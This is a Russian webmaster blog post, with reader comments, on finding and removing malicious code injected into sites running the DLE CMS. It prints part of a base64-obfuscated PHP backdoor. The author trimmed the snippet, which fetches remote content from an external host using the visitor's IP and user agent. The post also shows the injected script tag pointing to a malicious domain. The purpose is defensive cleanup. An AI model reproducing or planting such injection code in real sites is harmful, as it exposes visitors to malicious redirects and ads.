Избавляемся от вредоносного кода на DLE. Дубль 2

вредоносный код на DLE сайтеПоследнее время все чаще на одном из своих сайтов, а также на сайтах своих «коллег по цеху», наблюдаю агрессивное внедрение вредоносного кода именно на сайты под управлением CMS DLE.

Чаще всего это происходит если версия DLE где-то 9.3, но и даже на самых последних это тоже бывает. При этом, хочу заметить, что сайты на WordPress еще ни разу от этого не пострадали.

Поэтому свои серьезные проекты лучше делать хотя бы на вордпрессе. Пускай эта CMS более ресурсоемкая, но при желании можно установить какое-нибудь супер-кэширование и спать спокойно.

Сейчас я вам расскажу про два варианта внедрения кода в которые столкнулся в последние несколько дней.

Код шифруется функцией base64_encode

С первым вредоносным кодом, с которым я хочу вас познакомить, это довольно большой код, задача которого прописать вот эту строчку в начале ваших страниц сайта:

<script src="https://rfvvhynukm.dyndns.tv/showforum.php?pid=152" type="text/javascript"></script>

То есть, допустим, вы открываете исходный код любой страницы своего сайта, а в самом верху, как ни в чем не бывало, прописана вышеназванная строчка, задача которой показывать рекламу вредного сайта, или делать редирект на такой сайт.

Естественно, что если Яндекс обнаружит на вашем сайте такой вредоносный код, то соответствующая пометка в выдаче вам обеспечена.

Что самое интересное, если вы проверите свои файлы движка, например main.tpl или шаблона, или прочие файлы, то такой строчки вы не найдете. Потому как она шифруется функцией base64_encode и поиск по всем файлам ничего не даст.

Мне удалось довольно быстро найти код, который формировал эту строчку. Состоял он аж из несколько функций:


[начало вредоносного кода]

function getnewsfromid($id) {
 $id = intval($id);
 $rtn = $id + date("j");
 return $rtn;
 }

 function mysql_safe_connect($in) {
 if (getnewsfromid(64) < 1024) {
 $rtn = base64_decode($in);
 return $rtn;
 }
 }

[часть кода я убрал, чтобы его не распространяли]

vZ2V0X2FwaS5waHA/cGlkPTIm")."br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);
 if (!isset($_COOKIE[mysql_safe_connect("ZGxlX3Bhc3N3b3Jk")])) {
 echo @file_get_contents($get);
 }
 }
 }
 get_all_news_by_list (date("j")); 

[конец вредоносного кода]

У меня был этот код внедрен в файлы templates.class.php, engine.php. Но он может быть совершенно в любых файлах. Поэтому осуществляйте поиск по всему сайту по куску из этого кода и аккуратно его удаляйте.

Как защититься от этой беды и как нехороший человек его туда подкинул я не в курсе, но хотя бы выставьте права доступа 444 на те файлы в которых обнаружили эти строчки.

Редирект пользователей с мобильных устройств

Бывает такое, что вы заходите на свой сайт с компьютера и все кажется в порядке, антивирус Касперского не ругается хотя Яндекс уже пометил ваш сайт пометкой «Сайт может угрожать безопасности вашего компьютера или мобильного устройства».

 

Так вот, первым делом зайдите с мобильного устройства и посмотрите, будет ли какой-то редирект с вашего сайта (с главной или с внутренних страниц) на какой-либо другой веб-ресурс.

Когда я заходил, был редирект на google.ru через промежуточные домены. Походу я просто не подходил по таргетингу, чуваку нужен был российский трафик

При таком раскладе вредоносный код хранится обычно в файлах /engine/data/config.php, /engine/data/dbconfig.php, /engine/engine.php, .htaccess и других.

Во внедренном коде обычно есть упоминания «iPhone»,»Android»,»webOS»,»BlackBerry»,»iPod».

Чтобы не повторятся, как обнаружить код и залатать дыру читайте здесь https://dle-shop.ru/news-and-other/173-vzlom-dle-zagruzkoy-avatara-s-vredonosnym-kodom-i-kak-s-etim-borotsya.html

Если вышеназванные способы обнаружения не подходят

Я постараюсь дополнять эту статью новыми вариантами опасного кода. Также вы можете делиться своими, в комментариях, так как сделал один посетитель в комментах к другой, более старой статье про защиту от вредоносных кодов и взломе dle.

И постарайтесь обновить свой движок, если он уже довольно старый, с заменой файлов на новые. Конечно же самые важные нужно оставить. И перед тем как заливать файлы скаченного движка (с ненадежного ресурса), убедитесь что там уже не встроен посторонний код, например, в .htaccess

Отличная инструкция по обновлению DLE https://alaev.info/blog/post/3970

Ну и на всякий случай проверяем сайт через https://www.virustotal.com/ . Не всегда он что-то показывает, но это занимает всего несколько секунд, так что дело того стоит.

Оцените статью
Дневник Сеошника
Добавить комментарий

  1. Олег

    Большое спасибо за очень своевременную статью!

    Имею 6 сайтов, но заражено было лишь 2 причем располагающихся на одном и том же хостинге (остальные 4 на других хостингах).

    Нашел и удалил эти куски кода и «левые» ссылки сразу же исчезли со всех страниц сайта.

    Этот код располагался в разных файлах CMS-ки, но обязательно в папке engine, с неё и стоит начинать поиски.

    Еще раз спасибо админу за полезную статью, сам бы я этот код в жизни не нашел (без сравнения всех файлов с оригиналами движка)!

    Ответить
  2. Vitaly

    ДОбрый день! Если кто может помочь помогите. На сайте появился рекламный блок от гугла , но это точно не я его добавил. _http://вибер-скачать-бесплатно.рф/category/stikery-viber в сайдабе справа синяя ссылка. Как его можно обнаружить? в каком файле он прописался. Спасибо заранее

    Ответить
    1. ARKSEO

      В текстовых виджетах (в админке) посмотрите.

      Если в сайдбаре, то файл sidebar.php, или можете еще глянуть functions.php.

      Можете поискать через поиск по слову adsbygoogle. Как делать поиск по слову я упоминал здесь.
      Я вижу как минимум 3 блока кода.

      Ответить